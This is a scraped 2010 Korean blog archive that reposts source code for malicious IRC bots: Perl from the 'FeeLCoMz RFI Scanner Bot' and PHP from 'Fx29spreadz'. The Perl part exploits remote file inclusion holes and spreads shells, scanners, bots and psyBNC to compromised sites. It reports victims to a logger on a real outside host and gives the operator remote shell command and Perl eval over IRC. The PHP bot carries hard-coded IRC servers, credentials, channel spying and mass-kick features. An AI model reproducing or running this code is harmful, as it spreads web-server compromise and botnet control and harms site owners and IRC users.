 if ($safe =~ /OFF/) { $safemode = "4OFF"; } elsif ($safe =~ /ON/) { $safemode ="9ON"; } else { $safemode ="0-"; }
 if ($disfunc) { $disfunc = "9[Disfunc]0[7 $disfunc 0]"; } else { $disfunc = ""; }
 if ($perm =~/W/) { $perm = "12$perm"; } else { $perm = "4$perm"; }
 my $S1 = "9,1 [".$safemode."9]9[$os]0[ $sb 0]";
 my $S2 = "9,1 [Uname]0[ $uname ]9 [User]0[ $user / $uid ] 9[Server]0[ $server ] ";
 my $S3 = "9,1 [Dir]0[ $dir $perm 0] 9[HDD]0[0 $hdd 0] $disfunc ";
 if ($type == 1) {
   irc_msg($chanx,$S1); irc_msg($chanx,$S2); irc_msg($chanx,$S3);
   ##[ SPREADING ]##
   bukasitus("http://uaedesign.com/xml/logz/loggerz.php?&safe=".$safe."&teks=".urlen($vurn));
   if ($spreadconf{shellz} == 1) {
     my $q = bukasitus($vurn.$spread."?&modez=shellz");
     if ($q =~ /Writed to (.+?)!/) { irc_msg($chanx,"9,1 [Shell]0[ $1 0] "); }
     $spreaded = "shellz ";
   }
   if ($spreadconf{scannerz} == 1) {
     bukasitus($vurn.$spread."?&modez=scannerz");
     $spreaded .= "scannerz ";
   }
   if ($spreadconf{botz} == 1) {
     bukasitus($vurn.$spread."?&modez=botz");
     $spreaded .= "botz ";
   }
   if ($spreadconf{psybnc} == 1) {
     bukasitus($vurn.$spread."?&modez=psybnc");
     $spreaded .= "psybnc ";
   }
   irc_msg($chanx,"9,1 [Spreadz]0[ $spreaded 0] ");
   sleep($conf{sleepz});
   irc_msg($chan,$colz{3}.$engine.$colz{4}) if ($engine);
 }
 irc_msg($chan,$S1); irc_msg($chan,$S2); irc_msg($chan,$S3);
}

##[ CEK SHELL ]##
sub cek_shell {
 my ($chan,$nick,$situs) = @_;
 my $q = bukasitus($situs.$fx29id."?");
 print $q;
 if ( $q =~ /FeeLCoMz/ ) { safemode(2,$chan,$situs,"",""); }
 else { irc_msg($chan,$nick.", targetnya ga vurnerable!"); }
}

##[ CEK RESPON ]##
sub cek_respon {
 my $chan = $_[0];
 my ($q1,$q2,$q3) = (bukasitus($fx29id),bukasitus($fx29id2),bukasitus($fx29sh));
 my ($rid,$rid2,$rsh,$stat);
 if ( $q1 =~ /Fx29ID/ ) { $rid = "0OK"; $stat = 1; } else { $rid = "4ERROR!"; $stat = 0; }
 if ( $q2 =~ /Fx29ID/ ) { $rid2 = "0OK"; $stat += 1; } else { $rid2 = "4ERROR!"; $stat += 0; }
 if ( $q3 =~ /FaTaLisTiCz_Fx/ ) { $rsh = "0OK"; } else { $rsh = "4ERROR!"; }
 irc_msg($chan,$colz{1}."Fx29ID: $rid 9Fx29ID2: $rid2 9Fx29Sh: $rsh".$colz{2});
 return $stat;
}

##[ CEK DORK ]##
sub cek_dork {
 my $dork = $_[0];
 foreach my $d (@baddorkz) { if ($dork =~ /$d/) { return 1; } }
 return 0;
}

##[ CEK BUG ]##
sub cek_bug {
 my $bug = $_[0];
 foreach my $b (@badbugz) { if ($bug =~ /$b/) { return 1; } }
 return 0;
}

##[ RUTIN PENANGANAN FILE ]##
sub f_hapus { my $file = $_[0]; system("rm $file"); }
sub f_simpan {
 my ($nf,$hc) = @_;
 my $fh;
 open( $fh, ">>", $nf );
 my @slink = lnk_sub($hc);
 foreach my $s (@slink) { print $fh "$s\n"; }
 close $fh;
}
sub f_simpan2 {
 my ($nf,$isi) = @_;
 my $fh;
 open( $fh, ">", $nf ); print $fh "$isi\n"; close $fh;
}
sub f_simpan2b {
 my ($nf,$isi) = @_;
 my $fh;
 open( $fh, ">>", $nf ); print $fh "$isi\n"; close $fh;
}

##[ HTTP QUERY ]##
sub bukasitus {
 my $url = $_[0];
 my $request = HTTP::Request->new(GET => $url);
 my $ua  = LWP::UserAgent->new;
 $ua->timeout($conf{timeout});
 $ua->agent('Mozilla/5.0');
 my $response = $ua->request($request);
 if ($response->is_success) { return $response->content; }
 else { return $response->status_line; }
}
sub bukasitus2 {
 my $url = $_[0];
 my $ua  = LWP::UserAgent->new;
 $ua->timeout($conf{timeout});
 $ua->agent('Mozilla/5.0');
 my $response = $ua->get($url);
 if ($response->is_success) { return $response->content; }
 else { return $response->status_line; }
}
sub bukasitus3 {
 my $url = $_[0];
 my $host  = $url;
 my $query = $url;
 my $isi; my $kirim;
 my $uagent  = "Mozilla/5.0";
 $host  =~ s/http:\/\/([-a-zA-Z0-9\.]+)\/.*/$1/;
 $query =~ s/$host//;
 eval {
   my $sock = IO::Socket::INET->new(PeerAddr => "$host",PeerPort => "80",Proto => "tcp") || return;
   $kirim = "GET ".$query." HTTP/1.1\r\nHost: ".$host."\r\nAccept: */*\r\nUser-Agent: ".$uagent."\r\n\r\n";
   print $sock $kirim;
   my @r = <$sock>;
   $isi = "@r";
   close($sock);
 };
 return $isi;
}

##[ ENCODE/DECODE ]##
sub htmltourl { my $str = $_[0]; $str =~ s/&amp;/&/g; return $str; }
sub urlen {
 my $str = $_[0];
 #$str =~ s/\+/\%2B/g;
 $str =~ s/ /\+/g;
 $str =~ s/@/\%40/g;
 $str =~ s/\//\%2F/g;
 $str =~ s/&/\%26/g;
 $str =~ s/\"/\%22/g;
 $str =~ s/,/\%2C/g;
 $str =~ s/\\/\%5C/g;
 $str =~ s/:/\%3A/g;
 $str =~ s/\[/\%5B/g;
 $str =~ s/\]/\%5D/g;
 $str =~ s/\?/\%3F/g;
 $str =~ s/\=/\%3D/g;
 $str =~ s/\|/\%­7C/g;
 return $str;
}
sub urlde {
 my $str = $_[0];
 $str =~ s/\+/ /g;
 $str =~ s/\%2B/\+/g;
 $str =~ s/\%40/@/g;
 $str =~ s/\%2E/\./g;
 $str =~ s/\%2F/\//g;
 $str =~ s/\%26/&/g;
 $str =~ s/\%22/\"/g;
 $str =~ s/\%2C/,/g;
 $str =~ s/\%5C/\\/g;
 $str =~ s/\%3A/:/g;
 $str =~ s/\%­5[B|b]/\[/g;
 $str =~ s/\%­5[D|d]/\]/g;
 $str =~ s/\%3F/\?/g;
 $str =~ s/\%3D/\=/g;
 $str =~ s/\%­7C/\|/g;
 return $str;
}
sub cryptz { return crypt($_[0],"feelcomz"); }

##[ TRIMMER CRLF ]##
sub trimrn {
 my $str = $_[0];
 if (!$str) { return ""; }
 $str =~ s/\r// if ($str);
 $str =~ s/\n//;
 return $str;
}

##[ INFO BOT ]##
sub bot_info   {
 my $chan   = $_[0];
 my $hlogo  = "0,1 [i]9 ";
 my $uname  = `uname -a`;
 my $uid    = `id`;
 my $uptime = `uptime`;
 my @info   = (
 $hlogo."0FeeLCoMz RFI Scanner $versi Info ",
 $hlogo."Written under 0ActivePerl 5.8.8 Build 820 9by 0FaTaLisTiCz_Fx (FeeLCoMz Community) ",
 $hlogo."Uname:0 $uname ",
 $hlogo."Uid:0 $uid ",
 $hlogo."Uptime:0 $uptime ",
 );
 foreach my $m(@info) { irc_msg($chan,$m); }
}

##[ HELP BOT ]##
sub bot_help {
 my ($chan,$level) = @_;
 my $hsepz = "0,1 [!] 0";
 my $hlogo = "0,1 [!] 9".$cmdpre;
 my @help; my $i;
 my @hlp1 = (
 $hsepz."FeeLCoMz RFI Scanner $versi Help ",
 $hlogo."scan|scan2 <bug> <dork> 0?15 Memulai scanner | scanner & Eksploit RFI ",
 $hlogo."milw0rm <keywords> 0?15 Mencari daftar bug di milw0rm ",
 $hlogo."respon 0?15 Cek Respon & Injector RFI ",
 $hlogo."urlen|urlde <teks> 0?15 Encoder/Decoder URL ",
 $hlogo."cek <target> 0?15 Cek RFI shell ",
 $hlogo."info 0?15 Informasi bot ",
 $hlogo."auth <password> 0?15 Login ke bot ",
 );
 my @hlp2 = (
 $hsepz."User Commands: ",
 $hlogo."joomla <bug> <dork> 0?15 Memulai scanner & Eksploit RFI Joomla ",
 $hlogo."hitung <jumlah> 0?15 Mengganti hitungan proses eksploitasi ",
 $hlogo."cryptz <password> 0?15 Membuat password yg terenkripsi ",
 $hlogo."join|part <channel> 0?15 Join/Part channel ",
 $hlogo."nick <nick> 0?15 Ganti nick bot ",
 $hlogo."logout 0?15 Logout dari bot ",
 );
 my @hlp3 = (
 $hsepz."Admin Commands: ",
 $hlogo."crespon[1/2]|cshell|cspread <url> 0?15 Mengganti respon/injector/spread/spread2 RFI ",
 $hlogo."rfipid <perintah> 0?15 Mengganti RFI PID ",
 $hlogo."spy 0?15 Menampilkan konfigurasi Spy ",
 $hlogo."spyhost <your chan> 0?15 Channel host buat spy ",
 $hlogo."spychan <chan> 0?15 Channel yang akan di spy ",
 $hlogo."spyword <regex> 0?15 Teks yg akan di spy ",
 $hlogo."spy[found|show|clear] 0?15 Jumlah/Tampilkan/Bersihkan teks yg telah ditemukan ",
 $hlogo."raw <perintah> 0?15 Perintah Raw IRC ",
 $hlogo."cmd <perintah shell> 0?15 Mengeksekusi perintah di shell ",
 $hlogo."eval <kode perl> 0?15 Mengeksekusi kode perl ",
 $hlogo."quit 0?15 Quit dari IRC ",
 $hlogo."keluar 0?15 Quit dari IRC & Matikan semua proses Perl (killall)",
 );
 if    ( $level == 1 ) { push(@help, @hlp1); }
 elsif ( $level == 2 ) { push(@help,@hlp2); }
 elsif ( $level == 3 ) { push(@help,@hlp3); }
 foreach my $m (@help) { irc_msg($chan,$m); $i++; if ( $i % $conf{linez} == 0 ) { sleep($conf{sleepz}); } }
}

##[ CUSTOM MESSAGE ]##
sub msge { my ($chan,$se,$res) = @_; irc_msg($chan,"7,1 ".$se."15 ".$res." "); }
sub msgi { my ($chan,$judul,$info) = @_; irc_msg($chan,"0,1 [$judul]9 $info "); }
sub msgn { my ($chan,$se,$nxurl) = @_; irc_msg($chan,"8,1 ".$se."15 ".$nxurl." "); }
sub msgr { my ($chan,$se,$totr,$clr) = @_; irc_msg($chan,"9,1 ".$se."15 ".$totr."0 ".$clr." "); }
sub msgt { my ($chan,$se,$res) = @_; irc_msg($chan,"3,1 ".$se."15 ".$res." "); }
sub ntci { my ($chan,$judul,$info) = @_; irc_ntc($chan,"0,1 [$judul]9 $info "); }

##[ PERINTAH RAW IRC ]##
sub irc_raw  { my $data = $_[0]; print $sock "$data\r\n"; }
sub irc_nick { my $nick = $_[0]; irc_raw("NICK $nick"); }
sub irc_user { my $ident = $_[0]; irc_raw("USER $ident localhost * :FeeLScaNz?$versi and D|ablo was here  "); }
sub irc_msg  { my ($to,$psn) = @_; irc_raw("PRIVMSG $to :$psn"); }
sub irc_act  { my ($to,$psn) = @_; irc_raw("PRIVMSG $to :ACTION $psn"); }
sub irc_ntc  { my ($to,$psn) = @_; irc_raw("NOTICE $to :$psn"); }
sub irc_join { my $to = $_[0]; irc_raw("JOIN $to"); }
sub irc_part { my $to = $_[0]; irc_raw("PART $to"); }
sub irc_quit { my $psn = $_[0]; irc_raw("QUIT :$psn"); exit; }

###############################
##[ FeeLCoMz Community 2010 ]##
###############################

'webhxxx > RFI bot' 카테고리의 다른 글

vulscan v8  (0) 2010.04.18
Pitbull Bot  (0) 2010.04.18
fx29sh 3.3.03.09  (0) 2010.04.18
RFI Bot 재현  (0) 2010.04.18
Fx29spreadz  (0) 2010.03.06
Posted by applicationlayer
:

fx29sh 3.3.03.09

webhxxx/RFI bot 2010. 4. 18. 12:01 |

'webhxxx > RFI bot' 카테고리의 다른 글

Pitbull Bot  (0) 2010.04.18
FeeLCoMz RFI Scanner Bot v5.3  (0) 2010.04.18
RFI Bot 재현  (0) 2010.04.18
Fx29spreadz  (0) 2010.03.06
irc서버올리기  (0) 2010.03.04
Posted by applicationlayer
:

RFI Bot 재현

webhxxx/RFI bot 2010. 4. 18. 03:41 |
간단하게..

'webhxxx > RFI bot' 카테고리의 다른 글

FeeLCoMz RFI Scanner Bot v5.3  (0) 2010.04.18
fx29sh 3.3.03.09  (0) 2010.04.18
Fx29spreadz  (0) 2010.03.06
irc서버올리기  (0) 2010.03.04
FeeLCoMz RFI Bot  (0) 2010.02.23
Posted by applicationlayer
:

Fx29spreadz

webhxxx/RFI bot 2010. 3. 6. 21:35 |
<?
set_time_limit(0);
define ('CRLF', "\r\n");
#######################################
$logobot=array(
"1(0,1D1,0e0,1a1,0t0,1H1)",
"2(0,2D2,0e0,2a2,0t0,2H2)",
"3(0,3D3,0e0,3a3,0t0,3H3)",
"4(0,4D4,0e0,4a4,0t0,4H4)",
"5(0,5D5,0e0,5a5,0t0,5H5)",
"6(0,6D6,0e0,6a6,0t0,6H6)",
"7(0,7D7,0e0,7a7,0t0,7H7)",
"12(0,12D12,0e0,12a12,0t0,12H12)",
"14(0,14D14,0e0,14a14,0t0,14H14)"
);
$nickbot=array("Dj-Vlo", "^Onepiece^", "Six^Pac", "cweety-loph", "flo[19]", "Satellite", "Ginna", "Adistia", "Afdeling", "Vj-Desta",
"witta", "aishela", "kakashi|-_-|", "dhonni", "ce`bugiz", "home_edition2002", "Devi", "DeFi", "n-the", "spider-bh", "Chuwite",
"^cha^", "dhani", "tiara-21", "xandra", "brontoX", "xorax", "_Nami_", "tebZ", "januar", "coofie", "aidiL", "Freestyle",
"wanted", "Contiex`s", "sh[a]nie", "[A]ntIc", "aRindha", "armYgiRl", "j-hard", "N[-]Cus", "F[and]I", "^elvita^", "E-kha", "[dinda]", "Nuning", "chatia",
"^mami^", "violita", "Millie", "utt[i]", "majestic", "DiaZ", "vhira", "[Zoro]", "Lollita", "Vie-Net", "cj-Wike", "PrinceZz", "^tian^",
"_tian_", "N1ght", "CrowNX", "mbah_matre", "recha", "Robbin", "R-elf", "[Y]u[S]t", "borobudur", "diagonal", "Mrs_Dora", "andreanus", "alvin", "derby",
"Scolari", "buttet", "X-LiFe", "sanji", "icha_beL", "undercover", "[S]idayu", "chopper", "isabelia", "TinaToon", "kop[r]al", "Sima`S",
"Mb[o_o]let", "Marrie", "[L]ea", "chilis", "[3rd]", "ussop", "raru", "danny[Z]", "cHApoenk", "mariana", "D-Luffy", "hania",
"patricia", "[BG]1001", "p[hobi]a", "sastra", "psychologi", "kinyo", "bu_RT", "Bu-Guru", "Hana",
"Biografi", "van-van", "[ori]an", "omeleter", "cinta^giRL", "ce_Hacker", "master_crack", "JAM5^_^", "^_^kamu",
"the-loyed", "kani4","jefriansyah", "haidir", "hartawan", "faulin", "theresia", "ernawati", "anggita", "yusniar", "kurniadi", "Rosfina",  "coloids"
);

$identbot=array("2nd", "3nd", "vie", "hack", "1st", "log", "admin", "Luffy", "gadiz", "user", "d`vie", "voice",
"Devi", "DeFi", "24072005", "3D", "vie-", "cHopper", "Loph", "zoro", "sanji", "M4c4n", "LinuX", "ussop",
"vj", "Dj"
);

$realbot=array("14(0,14D14,0e0,14a14,0t0,14H14)",
           "빼?5p4u5d4e5L빼?,
           "빼?4p5u4d5e4L빼?,
);
$helpbot = array($logobot[rand(0,count($logobot) - 1)]." - RuNNINg WiTH PHpBoT",
        "IRC COMMAND..!",
           "12^Login <password> 4- 2Login To Bot",
           "12^Logout 4- 2Logout From Bot",
           "12.Up 4- 2Op Bot",
           "12.Down 4- 2Deop Bot",
           "12.O |#chan| <nick> 4- 2Op Spesifik Nick",
           "12.Do |#chan| <nick> 4- 2DeOp Spesifik Nick",
           "12.H |#chan| <nick> 4- 2HalfOp Spesifik Nick",
           "12.Dh |#chan| <nick> 4- 2DeHalfOp Spesifik Nick",
           "12.V |#chan| <nick> 4- 2Voice Spesifik Nick",
           "12.Dv |#chan| <nick> 4- 2DeVoice Spesifik Nick",
           "12.K |#chan| <nick> |msg| 4- 2Kick Spesified Nick",
           "12.Kc |#chan| <nick> |msg| 4- 2Kick Spesified Nick (ChanServ Stuf)",
           "12.Kb |#chan| <nick> |msg| 4- 2KickBan Spesified Nick",
           "12.B |#chan| <nick|hostmask> 4- 2Ban Nick Or Hostmass",
           "12.Ub |#chan| <nick|hostmask> 4- 2UnBan Nick Or Hostmass",
           "12.J <#chan> 4- 2Join Specified Channel",
           "12.P <#chan> |msg| 4- 2Part Specified Channel",
           "12.Cy <#chan> |msg| 4- 2Cycle On Specified Channel",
           "12.N <#newnick> 4- 2Change Nick",
           "12.S |#chan/nick| <msg> 4- 2Msg Channel Or Person",
           "12.A |#chan/nick| <text> 4- 2Action With Spesified Text",
           "12.Q <msg> 4- 2Kill Bot",
           "SYSTEM COMMAND..!",
           "12.Server <server> 4- 2Push Bot To Use Spec Server",
           "12.Servpass <password> 4- 2Use Spec Server Password",
           "12.Ident <identify> 4- 2Changing Bot Ident",
           "12.Realname <realname> 4- 2Changing Bot Realname",
           "12.Jump 4- 2Restarting bot also Accept Setting",
           "12.Autoaway <on/off> 4- 2On/Off Auto Away",
           "12.Userlist 4- 2List Of User",
        "6,1K1,4e6,1L1,4e6,1n1,4t6,1i1,4t6,1e");
######################################
//########### CONFIG BOT #############
$bot['nick']=$nickbot[rand(0,count($nickbot) - 1)];
$bot['ident']=$identbot[rand(0,count($identbot) - 1)];
$bot['realname']=$realbot[rand(0,count($realbot) - 1)];
$bot['pnick']="passwordnick";
$bot['chan']="#death";

$bot['local']="local";

$bot['server']="irc.cbn.net.id";
$bot['port']=6667;
$bot['userver']=0;
$bot['pserver']="remotepass";

$bot['admin']="KiddieS";
$bot['pass']="Devi";

$Admin=strtolower($bot['admin']);
$BOT_PASSWORD=strtolower($bot['pass']);
$auth = array($Admin => array("name" => $Admin, "pass" => $BOT_PASSWORD, "auth" => 1,"status" => "Admin"));
$zodiak = array("capricorn", "aquarius", "pisces", "aries", "taurus", "gemini", "cancer", "leo", "virgo", "libra", "scorpio", "sagitarius");

############## END #################


############# CONNECT TO IRC #########################################
$keluar=0;
$servdef=array("irc.indika.net.id","irc.cbn.net.id","irc.telkom.net.id","irc.jmn.net.id","irc.ads.net.id","irc.elnus.net.id","irc.uii.net.id","irc.velo.net.id","irc.pemkot-malang.go.id","irc.indo.net.id","irc.punc4k.com","irc.circleone.net.id","irc.dustshell.com","irc.plasa.com","irc.indoforum.org","irc.hotspeed.com.sg");
$retry=count($servdef)+1;
$attconnect=0;
$rtdc=0;
$isaway=false;
$autoaway=false;
$tmaway="";
$dmaway="";
$idaway=0;
$mylistson="";

$warnaboom="Merah;Kuning;Hijau;Ungu;Coklat;Hitam;Putih;Abu-abu;Emas;Silver;Maroon;Jingga;Orange";
$smsx['host']="firmanfisika.890m.com";
$smsx['port']=80;
$smsx['path']="http://firmanfisika.890m.com/smsform.php";
//$smsx['host']="localhost";
//$smsx['path']="http://localhost/sms.php";
$timeboom=20;
$user_chan_arr[][]="";
$ctcpversi="tian-BoT";
$banlist["chan"]="";
$spynick["nick"]="";
$spychan["chan"]="";
$sysspy="off";
$greetmsg["nick"]["nama"]="";
$greetmsg["nick"]["msg"]="";
$sysgreet="off";
$ping["ping"]["nick"]="";
$ping["ping"]["chan"]="";
$sysping="off";
$sysversi="off";
$sysjoinonkick="off";
$sysspoof="off";
$sysastro="off";
$syssms="off";
do {


$fp = fsockopen($bot['server'],$bot['port'], &$err_num, &$err_msg, 30);
if(!$fp) {
    $attconnect++;
    print "Sorry, the server " . $bot['server']. " is not currently available!";
    $bot['server']=$servdef[$attconnect-1];
    $bot['userver']=0;
    sleep(5);
    if ($attconnect >=$retry){
        $keluar=1;
        exit;
    }
}
else{
    foreach ($user_chan_arr as $cur_xchan) {
        $res_chan=$res_chan.';'.$cur_xchan["chan"];
    }
    unset($user_chan_arr);
    $user_chan_arr[][]="";
    $goboom=0;
    $onboom="off";
    $targetboom="";
    $rtdc++;
    if($rtdc ==3){
        $bot['userver']=0;
       
    }
    elseif($rtdc >=4){
        $bot['ident']="death";
        $bot['userver']=0;
        $rtdc=0;
    }
    $attconnect=0;
    if ($bot['userver']==1){
        $Header = 'PASS ' . $bot['pserver'] . CRLF;
    }
    $Header .= 'NICK ' . $bot['nick'] . CRLF;
    $Header .= 'USER ' . $bot['ident'] . ' ' . $bot['local'] . ' ' . $bot['server'] . ' :' . $bot['realname'] . CRLF;

    fputs($fp, $Header);
        $response = '';
       
        while (!feof($fp)) {
            $response = fgets($fp, 1024);
            ///###timer##//
            $ctime = time();
            $isonuptime = $ctime - $stime;
            if ($isonuptime>=15) {
                if(!$isonaway){
                    $stime=time(); $isonuptime=0; $isonaway=true;
                    if ($sysison=="on"){
                        $sendison=str_replace(";"," ",$mylistson);  fputs($fp,'ISON ' . $sendison . CRLF);
                    }
                }
            }
            if ($isonuptime<15){
                $isonaway=false;
            }
            ///////////////
            if($onboom=="on" && $sysboom="on"){
                $tboom=time()-$tmboom;
                if($tboom>=$timeboom){

                    fputs($fp, 'PRIVMSG CHANSERV :KICK '.$chanboom.' '. $targetboom.' 0,4Waktu Habis... BOOOOOOMMMM!!!!!'  . CRLF);
                    fputs($fp, 'KICK '.$chanboom.' '. $targetboom.' :0,4Waktu Habis... BOOOOOOMMMM!!!!!'  . CRLF);
                    $goboom=0;
                    $onboom="off";
                    $targetboom="";
                }
            }
            while (substr_count($response,CRLF) != 0) {
                $offset = strpos($response, CRLF);
                $DataLine = substr($response,0,$offset);
                if (substr($DataLine,0,1) == ':') {
                    #####TIMER#####
                    $mtimer=date("i");
                    $dtimer=date("s");
                    if($autoaway){
                    if($mtimer!=$tmaway){
                        if(!$isaway && $idaway >= 30){
                        fputs($fp, 'AWAY :away '.$logobot[rand(0,count($logobot) - 1)].  CRLF);
                        $tmaway=$mtimer;
                        $idaway=0;
                        }
                    }
                    if($dtimer!=$dmaway && !$isaway){
                        if($idaway>=32){$idaway=30;}
                        $idaway++;
                        $dmaway=$dtimer;
                    }
                    }
                    ###END TIMER###
                    $Params=explode(" ",$DataLine);
                    $offsetC = strpos($DataLine, ' :');
                    $dText = substr($DataLine,$offsetC+2);
                    if ((strpos($Params[0],"!")!=0) && (strpos($Params[0],"@")!=0) ) {
                        $fsrc[nick]=substr($Params[0],1,strpos($Params[0],"!")-1);
                        $fsrc[nkecil]=strtolower($fsrc[nick]);
                        $fsrc[user]=substr($Params[0],strpos($Params[0],"!")+1,(strpos($Params[0],"@")-strpos($Params[0],"!"))-1);
                        $fsrc[host]=substr($Params[0],strpos($Params[0],"@")+1);
                    }
                    ################## RAW ##################
                    if ( $Params[1] == '001' ) {
                        $bot['nick']=$Params[2];
                        $rtdc=0;
                    }
                    elseif ( $Params[1] == '004' ) {
                        fputs($fp, 'PING 1476786f'. CRLF);
                        fputs($fp, 'PRIVMSG Nickserv :identify '.$bot['pnick'].  CRLF);
                        fputs($fp,'JOIN ' . $bot['chan'] . CRLF);
                        if($res_chan){
                            $arres_chan=explode(";",$res_chan);
                            foreach ($arres_chan as $clist){
                                fputs($fp,'JOIN ' . $clist . CRLF);
                                sleep(1);
                            }
                        }
                    }
                    elseif ($Params[1]=='303') {
                        fputs($fp, 'PING 876786f'. CRLF);
                        $listson=strtolower($dText);
                        $xpgetison=explode(" ",$listson);
                        $i=0;
                        $jmlolol=0;
                        foreach ($xpgetison as $pgetlist){
                            if($pgetlist<>""){
                                $i++;
                                $sonson[$i]=$pgetlist;
                                $jmlolol=$i;
                            }
                        }
                        $i=0;
                        $mylistson=$mylistson . ';';
                        $xpgetison=explode(";",$mylistson);
                        $mylistson=ltrim($mylistson,";");
                        $mylistson=str_replace(";;","",$mylistson);
                        $mylistson=rtrim($mylistson,";");
                        foreach ($xpgetison as $pgetlist){
                            if ($pgetlist<>""){
                                $i++;
                                $lsonson[$i]=$pgetlist;
                                $jmlson=$i;
                            }
                        }
                        $dafonline="";
                        $dafoffline="";
                        for ($i = 1; $i <= $jmlson; $i++) {
                            $satup=$lsonson[$i];
                            $ds=0;
                            for ($p = 1; $p <= $jmlolol; $p++) {
                                if ($satup==$sonson[$p]){
                                    $ds=1;
                                }
                            }
                            if ($ds==1){
                                if(!$ada1["$satup"]){
                                    $dafonline .=$satup.' ';
                                    $ada1["$satup"]=true;
                                    $ada2["$satup"]=false;
                                }
                            }
                            else{
                                if(!$ada2["$satup"]){
                                    $dafoffline .=$satup.' ';
                                    $ada2["$satup"]=true;
                                    $ada1["$satup"]=false;
                                }
                            }
                        }
                        $dafonline=ltrim($dafonline);
                        $dafonline=rtrim($dafonline);
                        $dafoffline=ltrim($dafoffline);
                        $dafoffline=rtrim($dafoffline);
                        if ($dafonline){
                            fputs($fp, 'PRIVMSG '. $chanson .' :15(04Ison15) On IRC : '.$dafonline . CRLF);
                        }
                        if ($dafoffline){
                            fputs($fp, 'PRIVMSG '. $chanson .' :15(04Ison15) Left IRC : '.$dafoffline . CRLF);
                        }
                        unset($lsonson);
                        unset($sonson);
                    }
                    elseif ( $Params[1] == '305' ) {
                        $isaway=false;
                    }
                    elseif ( $Params[1] == '306' ) {
                        $isaway=true;
                    }
                    elseif ( $Params[1] == '353' ) {
                        $nickll=str_replace("@","",$dText);
                        $nickll=str_replace("&","",$nickll);
                        $nickll=str_replace("%","",$nickll);
                        $nickll=str_replace("+","",$nickll);
                        unset($user_chan_arr[strtolower($Params[4])]);
                        $user_chan_arr[strtolower($Params[4])]["nick"]=' '.$nickll.' ';
                        $user_chan_arr[strtolower($Params[4])]["chan"]=strtolower($Params[4]);
                    }
                    elseif ( $Params[1] == '367' ) {
                        fputs($fp, 'NOTICE '.$banlist["$Params[3]"]. ' :4[3+b4] 1- 3'.$Params[4].''.  CRLF);
                    }
                    elseif ( $Params[1] == '368' ) {
                        fputs($fp, 'NOTICE '.$banlist["$Params[3]"]. ' :4E1nd 4o1f 4c1hannel 4b1an 4l1ist'.  CRLF);
                        unset($banlist["$Params[3]"]);
                    }
                    elseif ( $Params[1] == '432' || $Params[1]=='433' ) {
                        $strnick = '';
                        for ($i=1; $i<=4; $i++){
                        $set = array(rand (65,90),rand(97,122));
                        $strnick .= chr($set[rand(0,1)]);
                        }
                        fputs($fp,'NICK ' . $bot['nick'] .'[' . $strnick .']'  . CRLF);
                    }
                    elseif ( $Params[1] == '465' || $Params[1]=='464' ) {
                        $bot['userver']=0;
                    }
                    elseif ( $Params[1] == 'NICK' ){
                        $newnicke = str_replace(':','',$Params[2]);
                        if(strtolower($fsrc[nick])==strtolower($bot['nick'])){
                        $bot['nick']=$newnicke;
                        }
                        $fsrc[nkecil]=strtolower($fsrc[nick]);
                        if ($auth["$fsrc[nkecil]"]) {
                            if ($auth["$fsrc[nkecil]"]["pass"]) {
                                if ($auth["$fsrc[nkecil]"]["auth"]==2) {
                                    $chnick = strtolower(str_replace(':','',$Params[2]));
                                    if ($fsrc[nkecil]!=$chnick) {
                                    $auth["$fsrc[nkecil]"]["auth"] = 1;
                                    fputs($fp,'PRIVMSG '.$chnick.' :You`re LogOut On Change Nick!' . CRLF);
                                    }
                                }
                            }
                        }
                        foreach ($user_chan_arr as $cur_xchan) {
                            $x_chan=$cur_xchan["chan"];
                            $user_chan_arr[strtolower($x_chan)]["nick"]=str_replace(' '.$fsrc[nick].' ',' '.$newnicke.' ',$user_chan_arr[strtolower($x_chan)]["nick"]);
                            $user_chan_arr[strtolower($x_chan)]["nick"]=str_replace(' ',' ',$user_chan_arr[strtolower($x_chan)]["nick"]);
                        }
                        ///////////////
                        if($sysspy=="on"){
                            $sppp=true;
                            if(strtolower($bot[nick])==$fsrc[nkecil]){$sppp=false;}
                            $notspy=false;
                            if ($auth["$fsrc[nkecil]"]) {
                                if ($auth["$fsrc[nkecil]"]["pass"]) {
                                    $notspy=true;
                                }
                            }
                            if($notspy){$sppp=false;}
                            if(strtolower($spynick["$fsrc[nkecil]"])==$fsrc[nkecil] && $sppp){
                                fputs($fp,'PRIVMSG ' . $spychan["chan"] . ' :15(04Log15) 3* '.$fsrc[nick] .' is now known as '. str_replace(':','',$Params[2]) . CRLF);
                            }


                        }
                        /////////////////
                        if($onboom=="on"){
                            if(strtolower($fsrc[nkecil])==strtolower($targetboom)){
                                fputs($fp, 'PRIVMSG CHANSERV :KICK '.$chanboom.' '. $newnicke.' 0,4Ups! BOOOOOOMMMM!!!!!'  . CRLF);
                                fputs($fp, 'KICK '.$chanboom.' '. $newnicke.' :0,4Ups! BOOOOOOMMMM!!!!!'  . CRLF);
                                $goboom=0;
                                $onboom="off";
                                $targetboom="";
                            }
                        }
                    }
                    elseif ( $Params[1] == 'PART' ){
                        $fsrc[nkecil]=strtolower($fsrc[nick]);
                        if ($auth["$fsrc[nkecil]"]) {
                            if ($auth["$fsrc[nkecil]"]["pass"]) {
                                if ($auth["$fsrc[nkecil]"]["auth"]==2) {
                                $auth["$fsrc[nkecil]"]["auth"] = 1;
                                fputs($fp,'PRIVMSG '.$fsrc[nick].' :You`re LogOut On Parting Channel!' . CRLF);
                                }
                            }
                        }
                        if($fsrc[nkecil]==strtolower($bot['nick'])){
                            unset($user_chan_arr[strtolower($Params[2])]);
                        }
                        else{
                        $user_chan_arr[strtolower($Params[2])]["nick"]=str_replace(' '.$fsrc[nick].' ',' ',$user_chan_arr[strtolower($Params[2])]["nick"]);
                        $user_chan_arr[strtolower($Params[2])]["nick"]=str_replace("  "," ",$user_chan_arr[strtolower($Params[2])]["nick"]);
                        }
                        ///////////////
                        if($sysspy=="on"){
                            $sppp=true;
                            if(strtolower($bot[nick])==$fsrc[nkecil]){$sppp=false;}
                            $notspy=false;
                            if ($auth["$fsrc[nkecil]"]) {
                                if ($auth["$fsrc[nkecil]"]["pass"]) {
                                    $notspy=true;
                                }
                            }
                            if($notspy){$sppp=false;}
                            if ( substr(strtolower($Params[3]),0,7)==":^login") {$sppp=false; }
                            if ( strtolower($Params[2])==strtolower($spychan["chan"])) {$sppp=false; }
                            if(strtolower($spynick["$fsrc[nkecil]"])==$fsrc[nkecil] && $sppp){
                                if($dText==""){
                                fputs($fp,'PRIVMSG ' . $spychan["chan"] . ' :15(04Log15) 3* '.$fsrc[nick] .' ('.$fsrc[user].'@'.$fsrc[host].') has left '.$Params[2] . CRLF);
                                }
                                else{
